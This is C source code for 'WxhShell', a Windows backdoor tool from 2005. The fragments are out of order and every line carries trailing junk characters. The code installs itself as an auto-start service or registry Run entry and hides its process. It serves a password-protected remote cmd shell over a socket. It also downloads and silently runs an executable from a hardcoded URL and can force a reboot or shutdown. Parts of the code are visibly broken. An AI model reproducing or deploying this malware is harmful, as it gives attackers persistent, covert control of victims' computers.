    if(Boot(SHUTDOWN)) YbLW/E\T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v8D C21pb  
    else { y?!"6t7&  
    closesocket(wsh); ,[;G|et  
    ExitThread(0); H']+L~j  
    } :H[6Lg\*  
    break;  z$Qbj  
    } 0(btA~'*  
  // 获取shell SY8C4vb'h  
  case 's': { a: K[ y  
    CmdShell(wsh); CH/rp4NeSy  
    closesocket(wsh); t >sE x:  
    ExitThread(0); 8$|=P!7EO  
    break; ~_ a-E  
  } $]8Q(/mbK  
  // 退出 F<w/PMb  
  case 'x': { RT5T1K08I  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {^\r`V p  
    CloseIt(wsh); 3N:D6w-R  
    break; ::F|8  
    } Np)lIGE  
  // 离开 :i7;w%B  
  case 'q': { =qIyqbXz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )_NO4`ejs/  
    closesocket(wsh); Q7A MRrN  
    WSACleanup(); |D.ND%K&  
    exit(1); ;=UsAB]  
    break; WjjB<YKzF  
        } {_dvx*M  
  } U%<Inb}ad  
  } QdC<Sk!G  
a}u Sm/S  
  // 提示信息 l@:0e]8|o  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G#1GXFDO{  
} PxE3K-S)G  
  } \|ao`MMaD<  
v.ui!|c  
  return; bu"!jHPB  
} a'z7(8$$  
~v"L!=~G;a  
// shell模块句柄 C8\^#5  
int CmdShell(SOCKET sock) 6`-jPR  
{ wvPk:1wD5  
STARTUPINFO si; YAmb`CP  
ZeroMemory(&si,sizeof(si)); <^uBoKB/f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ---N9I  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; s|ITsz0,td  
PROCESS_INFORMATION ProcessInfo; r"R#@V\'1b  
char cmdline[]="cmd"; uM'Jp?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n-OL0$Xu  
  return 0; j8`BdKg  
} -PQv ?5  
:/Qq@]O>  
// 自身启动模式 @ry_nKr9  
int StartFromService(void) ` ~`k_7t.  
{ 1sH& sGy7  
typedef struct = 9]~ yt  
{ {.\TtE  
  DWORD ExitStatus; (!N|Kl  
  DWORD PebBaseAddress; O1mKe%'|  
  DWORD AffinityMask; xZv#Es%#  
  DWORD BasePriority; ZQ0F$J)2~  
  ULONG UniqueProcessId; ;d9QAN&0}  
  ULONG InheritedFromUniqueProcessId; Wiu"k%Qsh  
}   PROCESS_BASIC_INFORMATION; #YOA`m,'  
uR r o?m<  
PROCNTQSIP NtQueryInformationProcess; Ez=Olbk  
^a1^\X.~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `^y7f  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; xK\d4 "  
Nu7 !8[?r*  
  HANDLE             hProcess; ox (%5c)b|  
  PROCESS_BASIC_INFORMATION pbi; ,nB5/Lx  
HoL Et8Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w)Qp?k d  
  if(NULL == hInst ) return 0; A$:U'ZG_  
j ?(&#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^M>P:~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KMjhZap%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v oj^pzZ  
s}% M4  
  if (!NtQueryInformationProcess) return 0; l2P=R)@{  
W1=H8 O  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p"ZG%Ow5Q]  
  if(!hProcess) return 0; P(z++A&  
 1HZO9cXJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ';=O 0)u  
'(L7;+E  
  CloseHandle(hProcess); e;}7G  
Ak"m 85B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KNIn:K^/  
if(hProcess==NULL) return 0; R[x_j  
4Ic*9t3  
HMODULE hMod; ~1vDV>dpE  
char procName[255]; C&rkvM8  
unsigned long cbNeeded;  O+Y6N  
EA]U50L(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1Z~FCJz  
[e}]}t8m  
  CloseHandle(hProcess); 8C9-_Ng`  
"u^H# L>-q  
if(strstr(procName,"services")) return 1; // 以服务启动 P! #[mio  
zuy4G9P  
  return 0; // 注册表启动 I75DUJqy]  
} &AbNWtCV+G  
*.d)OOpLo  
// 主模块 \Et3|Iv  
int StartWxhshell(LPSTR lpCmdLine) oHn Ky[1  
{ U0N 60  
  SOCKET wsl; SmSH2m-  
BOOL val=TRUE; e [mm  
  int port=0; 6.nCV 0xA  
  struct sockaddr_in door; FSW_<%  
<+vw@M  
  if(wscfg.ws_autoins) Install(); +Kbjzh3<wG  
iVq'r4S  
port=atoi(lpCmdLine); F%D.zvKN  
XXn67sF/  
if(port<=0) port=wscfg.ws_port; sZ/v^ xk  
0*D$R`$  
  WSADATA data; WuUk9_ g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \$T(t/$9  
T&u5ki4NE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ofw3S |F6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qm8B8&-  
  door.sin_family = AF_INET; JNXq.;:`Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); CSq4x5!_7>  
  door.sin_port = htons(port); UIN<2F_  
hAnPXiD  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >rKIG~P_  
closesocket(wsl); !0LWa"  
return 1; My[pr_xg  
} mQ 26K~  
(b-MMr  
  if(listen(wsl,2) == INVALID_SOCKET) { c>:wd@w  
closesocket(wsl); 9} M?P  
return 1; Hp!-248S  
} hVAn>_(  
  Wxhshell(wsl); NzOx0WLF  
  WSACleanup(); "2$fi{9  
ryUQU^v  
return 0; Tc`=f'pP)4  
peuZ&yK+"  
} Ep3N&Imp  
$OkBg0  
// 以NT服务方式启动 9oR@U W1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) F {4bo$~>  
{ PB`Y g  
DWORD   status = 0; gS]@I0y8 .  
  DWORD   specificError = 0xfffffff; &n}f?  
FX`>J6l:X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1.{z3_S21:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [KaAXv .X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V0.vQ/  
  serviceStatus.dwWin32ExitCode     = 0; s.N/2F& *W  
  serviceStatus.dwServiceSpecificExitCode = 0; (U_ujPD ?  
  serviceStatus.dwCheckPoint       = 0; QIvVcfM^  
  serviceStatus.dwWaitHint       = 0; 6@ IXqKz  
QP8Ei~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9gEwh<  
  if (hServiceStatusHandle==0) return; ]kRfB:4ED  
lN?qp'%H`  
status = GetLastError(); -)]Yr #Q  
  if (status!=NO_ERROR) (\hx` Yh=>  
{ q#ClnG*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n:\~'+$  
    serviceStatus.dwCheckPoint       = 0; T?soJ]A  
    serviceStatus.dwWaitHint       = 0; ag#S6E^%S  
    serviceStatus.dwWin32ExitCode     = status; OSWYGnZg  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ug t.&IA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); i,E{f  
    return; )3Iz (Ql  
  } QP^Cx=  
gG:Vt}N  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w\}ieI8J  
  serviceStatus.dwCheckPoint       = 0; v/0QOp  
  serviceStatus.dwWaitHint       = 0; qL&[K>2z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V>)OpvoT#  
} #!qm ZN  
o]` *M|  
// 处理NT服务事件,比如:启动、停止 4(~L#}:r!  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ] =xE  
{ a 3b/e8c  
switch(fdwControl) 5k3n\sqZA  
{ ?WUA`/[z  
case SERVICE_CONTROL_STOP: HU }7zK2  
  serviceStatus.dwWin32ExitCode = 0; _ Yx]_Y9I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; YTX,cj#D^&  
  serviceStatus.dwCheckPoint   = 0; kg~mgMR+w  
  serviceStatus.dwWaitHint     = 0; L9 \1+rq  
  { FLCexlv^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,j}6? Q  
  } 5C*Pd Wpl  
  return; t#/YN.@r  
case SERVICE_CONTROL_PAUSE: ia~HQ$'+n  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KB,j7 ~V  
  break; ;| 5F[  
case SERVICE_CONTROL_CONTINUE: zh`<WN&H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wj<6kG  
  break; Eh;'S"{/?j  
case SERVICE_CONTROL_INTERROGATE: # E^1|:  
  break; f ue(UMF~  
}; 0r] t`{H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }6}l7x  
} E7 Ul;d  
JEwa &  
// 标准应用程序主函数 @=Uh',F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d(x\^z  
{ =:,g  
u+e{Mim  
// 获取操作系统版本 Uq,^Wy  
OsIsNt=GetOsVer(); v ~?qz5:K~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >,Ci?[pf  
B6nX$T4zP  
  // 从命令行安装 vq0Tk bzs  
  if(strpbrk(lpCmdLine,"iI")) Install();  E`0?  
<8i//HOE  
  // 下载执行文件 3{^9]7UC  
if(wscfg.ws_downexe) { o>i4CCU+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :&rt)/I  
  WinExec(wscfg.ws_filenam,SW_HIDE); <QAFL uey  
} nH'e?>x~e  
gHEu/8E  
if(!OsIsNt) { gNrjo=  
// 如果时win9x,隐藏进程并且设置为注册表启动 KHu+9eX  
HideProc(); LTCb@L{^i  
StartWxhshell(lpCmdLine); T_ <@..C  
} Jr!JHC9i  
else  c(E{6g?  
  if(StartFromService()) ]BZA:dd.G  
  // 以服务方式启动 Al^d$FaF  
  StartServiceCtrlDispatcher(DispatchTable); 0 [# 3;a  
else KVaiugQ   
  // 普通方式启动 S-b/S5  
  StartWxhshell(lpCmdLine); M,,bf[p$  
^Za-`8#`L  
return 0; |\t-g" ~sN  
} hJ? O],4J  
OU.6bmWy|  
_pG-qK  
}W8;=$jr  
=========================================== 4Uo&d#o)C-  
'n]w"]|  
~?Pw& K2  
D|p9qe5%  
 _,0  
+Q)XH>jh   
" ]Sz:|%JP1  
q`a'gJx#y  
#include <stdio.h> XJ\DVZ  
#include <string.h> ?4&e;83_#y  
#include <windows.h> (OL4Ex']  
#include <winsock2.h> MK~8}x2K  
#include <winsvc.h> $6 9&O  
#include <urlmon.h>  . iI  
wo/\]5  
#pragma comment (lib, "Ws2_32.lib")  KC6.Fr{  
#pragma comment (lib, "urlmon.lib") [kB7@o  
UHkMn  
#define MAX_USER   100 // 最大客户端连接数 M h}m;NI  
#define BUF_SOCK   200 // sock buffer gO-  _  
#define KEY_BUFF   255 // 输入 buffer pa3{8x{9m  
QO~P7r|A  
#define REBOOT     0   // 重启 7U"g3 a)=  
#define SHUTDOWN   1   // 关机 2- h{N  
q:0N<$63  
#define DEF_PORT   5000 // 监听端口 783,s_  
>T-u~i$s  
#define REG_LEN     16   // 注册表键长度 *n ]GsOOn  
#define SVC_LEN     80   // NT服务名长度 C2I_%nU Z1  
p%Vt#?q  
// 从dll定义API &`r-.&Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -3 *]G^y2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o#Dk& cH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); O _ gGf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @Uvz8*b6  
Y\P8 v  
// wxhshell配置信息 fU}ub2_in  
struct WSCFG { b. '-?Nn  
  int ws_port;         // 监听端口 RSRS wkC  
  char ws_passstr[REG_LEN]; // 口令 |SSSH  
  int ws_autoins;       // 安装标记, 1=yes 0=no : *#-%0  
  char ws_regname[REG_LEN]; // 注册表键名  9Q.Yl&A  
  char ws_svcname[REG_LEN]; // 服务名 o:'MpKm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Pmx -8w  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O 8r|8]o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K@]4g49A/j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 'JE`(xD  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ic<2QknmP  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]s'as9s9  
t{9GVLZ  
}; eo?bL$A[s  
"HIRTE;&  
// default Wxhshell configuration F/{!tx  
struct WSCFG wscfg={DEF_PORT, 9.-S(ZO  
    "xuhuanlingzhe", ~ .g@hS8>  
    1, M7~2iU<#  
    "Wxhshell", H*R"ntI?w  
    "Wxhshell", IEi^kJflU  
            "WxhShell Service", KV *#T20T  
    "Wrsky Windows CmdShell Service", h[Y1?ln&h  
    "Please Input Your Password: ", bAqA1y3=  
  1, f8dB-FlMm  
  "http://www.wrsky.com/wxhshell.exe", 6nvz8f3*r]  
  "Wxhshell.exe" #c!lS<z  
    }; C&%_a~  
{;1\+ f  
// 消息定义模块 8GUX{K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; va@Lz&sAE%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; wP@(?z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; kTgEd]^&D  
char *msg_ws_ext="\n\rExit."; gwMNYMI  
char *msg_ws_end="\n\rQuit."; _G@GpkSe>  
char *msg_ws_boot="\n\rReboot..."; ZY+qA  
char *msg_ws_poff="\n\rShutdown..."; d#FQc18v}k  
char *msg_ws_down="\n\rSave to "; ?:q*(EC<  
XRi8Gpg  
char *msg_ws_err="\n\rErr!"; m:2^= l4  
char *msg_ws_ok="\n\rOK!"; NXrlk  
CD~.z7,LC  
char ExeFile[MAX_PATH]; Xx:"4l.w.  
int nUser = 0; L="}E rmK  
HANDLE handles[MAX_USER]; $U~]=.n  
int OsIsNt; )Aqtew+A&  
h2R::/2.  
SERVICE_STATUS       serviceStatus; 7{*>agQh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gM:".Ee  
q2E_ A  
// 函数声明 f ;n3&e0eC  
int Install(void); ;e*!S}C,  
int Uninstall(void); %h!B^{0  
int DownloadFile(char *sURL, SOCKET wsh); sO@Tf\d  
int Boot(int flag); zrb}_  
void HideProc(void); Q![@c   
int GetOsVer(void); 8d'0N  
int Wxhshell(SOCKET wsl); (jE9XxQY  
void TalkWithClient(void *cs); 6i/(5 nQ  
int CmdShell(SOCKET sock); 26h21Z16q  
int StartFromService(void); eSq.GtI  
int StartWxhshell(LPSTR lpCmdLine); b \2 ds,  
%'pgGC"|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I!K6o.|1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3!]rmZ-W  
xA*<0O\V  
// 数据结构和表定义 > ~O.@|  
SERVICE_TABLE_ENTRY DispatchTable[] = Gd85kY@w7  
{ JWxwJex  
{wscfg.ws_svcname, NTServiceMain}, gPPkT"  
{NULL, NULL} ym1Y4,  
};  @q) d  
P&Vv/D  
// 自我安装 j8sH|{H!Nq  
int Install(void) 8":Q)9;%  
{ O=7CMbS3  
  char svExeFile[MAX_PATH]; s~X%Y<9l  
  HKEY key; =I_'.b  
  strcpy(svExeFile,ExeFile); w}L[u r;I_  
S f# R0SA  
// 如果是win9x系统,修改注册表设为自启动 eaU  
if(!OsIsNt) { p`qgrI`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?:0Jav  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M o|2}nf  
  RegCloseKey(key); (E1~H0^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $ I?"lky  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eu3E-K@y  
  RegCloseKey(key); 5b7RY V  
  return 0; ]`WJOx4  
    } 1'8YkhQ2a  
  } 5z)~\;[ -  
} &rR2,3r=  
else { N;%6:I./  
F#E3q|Q"BS  
// 如果是NT以上系统,安装为系统服务 @=u3ZVD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JucY[`|JV  
if (schSCManager!=0) jL}v9$  
{ 8&dF  
  SC_HANDLE schService = CreateService \9EjClf o  
  ( E]r?{t`]  
  schSCManager, w0unS`\4  
  wscfg.ws_svcname, r3?o9D>  
  wscfg.ws_svcdisp, YS_; OFsd  
  SERVICE_ALL_ACCESS, dPRra{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WNc0W>*NE1  
  SERVICE_AUTO_START, *LY8D<:zs  
  SERVICE_ERROR_NORMAL, l'E6CL}@[  
  svExeFile, .=; ;  
  NULL, xT2PyI_:  
  NULL, 9>#6*/Oa7  
  NULL, K*dCc}:`  
  NULL, @C aG9]  
  NULL G3v5KmT  
  );  %;!.n{X  
  if (schService!=0) \_fv7Fdp{  
  { |y!A&d=xYn  
  CloseServiceHandle(schService); ,/unhfs1q  
  CloseServiceHandle(schSCManager); DtnEi4h,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ],].zlN  
  strcat(svExeFile,wscfg.ws_svcname); Znv,9-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { % & bY]w  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gBD]}vo-  
  RegCloseKey(key); lu/ (4ED  
  return 0; BJ(M2|VH  
    } OZ;*JR:  
  } =2x^nW  
  CloseServiceHandle(schSCManager); w4Z'K&d=  
} f%hEnZv  
} poFg 1  
ybUaTD@?}b  
return 1; 4B][S'f  
} > Nr#O  
#X"@<l4F  
// 自我卸载 kG*~ |ma  
int Uninstall(void) fF kj+  
{ |wj?ed$ f  
  HKEY key; 8dhUBJ0_  
v &+R^iLE  
if(!OsIsNt) { i}?>g-(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QmIBaMI#  
  RegDeleteValue(key,wscfg.ws_regname); Z?z.?a r  
  RegCloseKey(key); ? =+WRjF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9cm#56  
  RegDeleteValue(key,wscfg.ws_regname); { (}By/_  
  RegCloseKey(key); Z/J y'$x  
  return 0; #$y?v%^  
  } T[A 69O]v  
} :~^ (g$Z  
} WX0tgXl  
else { ?z u8)U  
ig &Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E4xa[iZ  
if (schSCManager!=0) w%sT{(Vd`C  
{ LreP4dRe  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y nZiT e@  
  if (schService!=0) /u+e0BHo  
  { n'w.; q  
  if(DeleteService(schService)!=0) { PFK  '$  
  CloseServiceHandle(schService); WuW^GC{7  
  CloseServiceHandle(schSCManager); g=o4Q< #^y  
  return 0; Yz<1 wt7;  
  } @s^-.z  
  CloseServiceHandle(schService); RpYERAgT  
  } o _H`o&xr  
  CloseServiceHandle(schSCManager); @\I#^X5lv  
} $, '*f?d  
} \uMLY<]P  
N}YkMJy  
return 1; ~e.L.,4QZ8  
} gPc=2  
I++. ee  
// 从指定url下载文件 Ti&z1_u  
int DownloadFile(char *sURL, SOCKET wsh) 8HdAFRw  
{ -|\ZrE_h  
  HRESULT hr; ^sg,\zD 'X  
char seps[]= "/"; C"enpc_C/  
char *token; >-{Hyx  
char *file; ws^ np  
char myURL[MAX_PATH]; 7J&4akT{9  
char myFILE[MAX_PATH]; SK.: Q5:  
pY$Q  
strcpy(myURL,sURL); <b<j=_3  
  token=strtok(myURL,seps); BL58] P84  
  while(token!=NULL) [PKR2UEe]  
  { dAe')N:KPI  
    file=token; H 7 ^/q7  
  token=strtok(NULL,seps); ~< x:q6  
  } y18Y:)DkL  
6\S~P/PkE  
GetCurrentDirectory(MAX_PATH,myFILE); Pr,q*_Yy  
strcat(myFILE, "\\"); *HB-QIl  
strcat(myFILE, file); /,Jqmm#s^  
  send(wsh,myFILE,strlen(myFILE),0); 3DG_QVg^v  
send(wsh,"...",3,0); .w ,q0<}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?[>3QE  
  if(hr==S_OK) 9Lfv^V0  
return 0; 5ms(Wd  
else '$QB$2~V  
return 1; G9@0@2aY8  
@AuO`I@p=  
} ?b5 ^  
<_KIK  
// 系统电源模块 Nl(Foya%)  
int Boot(int flag) VOh4#%Vj  
{ @$K"o7+]   
  HANDLE hToken; F1Bq$*'N$w  
  TOKEN_PRIVILEGES tkp; y L~W.H  
-1@<=jX3_  
  if(OsIsNt) { $ o#V#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `pZm?}K  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fLAw12;^  
    tkp.PrivilegeCount = 1; ;P&OX5~V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N$:8 ,9.z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w"&n?L  
if(flag==REBOOT) { eGbG w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FN) $0  
  return 0; b*Q&CL  
} GNJj=1Lsd  
else { R_S.tT!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?#Q #u|~  
  return 0; 2T[9f;jM'  
} Xm2z}X(%  
  } S?BG_J6A7  
  else { 4|#WFLo@  
if(flag==REBOOT) { >~+ELVB&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {P#|zp4C{  
  return 0; U\!X,a*ts{  
} CQDkFQq-dq  
else { 1hNq8*|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) *bpD`s @  
  return 0; 6/dI6C!  
} =rX>1  
} IRqy%@)  
9490o:s  
return 1; X+]G-  
} 3%=~) 7cF  
zT?D<XW>1  
// win9x进程隐藏模块 tcog'nAz  
void HideProc(void) y Fq&8 x<X  
{ =[jXe  
hqkz^!rp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \:F_xq  
  if ( hKernel != NULL ) x# 5A(g  
  { >t_6B~x9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k2UVm$}u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F`]2O:[  
    FreeLibrary(hKernel); _ZkI)o  
  } GF=g<H M  
ZO$%[ftb  
return; jsi!fx2Rm  
} "|KP'<8%  
SGlNKA},A  
// 获取操作系统版本 qK&d]6H R  
int GetOsVer(void) 3>VL}Ui}  
{ ijx0gh`~  
  OSVERSIONINFO winfo; 0>Z_*U~6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *% @h(js  
  GetVersionEx(&winfo); =+d?x 56  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Vj>8a)"B5a  
  return 1; sZF6h=67D  
  else <0q;NrvUb  
  return 0; v0jgki4 t  
} ] {HI?V  
TBU&6M>{3  
// 客户端句柄模块 I`4*+a'q&  
int Wxhshell(SOCKET wsl) L4y4RG/SJ:  
{ h>OfOx/{q9  
  SOCKET wsh; #$qTFN  
  struct sockaddr_in client; \6*I'|5 d  
  DWORD myID; hTi$.y!k  
#|PS&}6wU  
  while(nUser<MAX_USER) Z!X0U7& U  
{ KRDmY+  
  int nSize=sizeof(client); O/(xj2~$ J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vTw>JNVI  
  if(wsh==INVALID_SOCKET) return 1; [87,s.MK  
WlBc.kFck  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ,]c 1A$Sr0  
if(handles[nUser]==0) {fn!'  
  closesocket(wsh); n t7.?$  
else AX/m25x  
  nUser++; ZoZ| M a  
  } 2WxQ(:d=  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t"/q]G5  
/{--+ C  
  return 0; YcK|.Mq':  
} agW@ {c  
aM0f/"-_  
// 关闭 socket LW_ f  
void CloseIt(SOCKET wsh) oWo- j<  
{ 2u*KM`fa`  
closesocket(wsh); v9O~@v{=  
nUser--; /,Re "!jh  
ExitThread(0); xLH)P<^`C  
} mk+B9?;cF-  
;)^`3`  
// 客户端请求句柄 O2dW6bt  
void TalkWithClient(void *cs) uw +M  
{ pYZ6e_j1 ~  
7!TueP0Zd  
  SOCKET wsh=(SOCKET)cs; I- >Ss},U  
  char pwd[SVC_LEN]; _#8RSr8'y  
  char cmd[KEY_BUFF]; _1!OlQ  
char chr[1]; HLaRGN3,  
int i,j; e@* EzvO  
?\s+EE&-  
  while (nUser < MAX_USER) { /9p wZ%:<  
!fR3 (=oN  
if(wscfg.ws_passstr) { +8d1|cB"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vbe|hO""  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6?~"V  
  //ZeroMemory(pwd,KEY_BUFF); G@jZ)2  
      i=0; .j<]mUY  
  while(i<SVC_LEN) { TXvI4"&  
"v({ ,  
  // 设置超时 ~=RT*>G_  
  fd_set FdRead; @x'"~"%7b  
  struct timeval TimeOut; [o+q>|q  
  FD_ZERO(&FdRead); TOXfWEU3>  
  FD_SET(wsh,&FdRead); e)#J1(j_  
  TimeOut.tv_sec=8; c*L\_Vx+  
  TimeOut.tv_usec=0; iq( E'`d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 6){]1h"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e-#BDN(O  
nWYN Np?h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E`de7  
  pwd=chr[0]; [dIXR  
  if(chr[0]==0xd || chr[0]==0xa) { !1 8clL  
  pwd=0; aa#Y=%^  
  break; =sJ7=39  
  } H0`]V6+<f  
  i++; -0{r>,&Mm  
    } 8sTp`}54 J  
ZE=Sp=@)j  
  // 如果是非法用户,关闭 socket !()$8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wL 4dTc  
} jiS_G%G  
6vNrBB  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); %Iv,@}kvT+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S:oi< F  
:AF =<X*5  
while(1) { "haL  
dj7hx"BI  
  ZeroMemory(cmd,KEY_BUFF); 6GSI"M6s  
lc,tVe_  
      // 自动支持客户端 telnet标准   ,\  
  j=0; h!.^?NF  
  while(j<KEY_BUFF) { ^N;.cY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TNY&asQo  
  cmd[j]=chr[0]; GyIT{M}KV  
  if(chr[0]==0xa || chr[0]==0xd) { *|C^=*j9  
  cmd[j]=0; T;y>>_,  
  break; $oU*9}}Rn  
  } b TM{l.Aq3  
  j++; %GA"GYL9'  
    } evAMJ=  
,3p~w5C/+[  
  // 下载文件 BJsz2t :0  
  if(strstr(cmd,"http://")) { W;L7SF g)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); C|). ;V&  
  if(DownloadFile(cmd,wsh)) 1&)?JZhg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (@<c6WS  
  else ],FMwCI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9~mh@Kgv  
  } L> 9V&\  
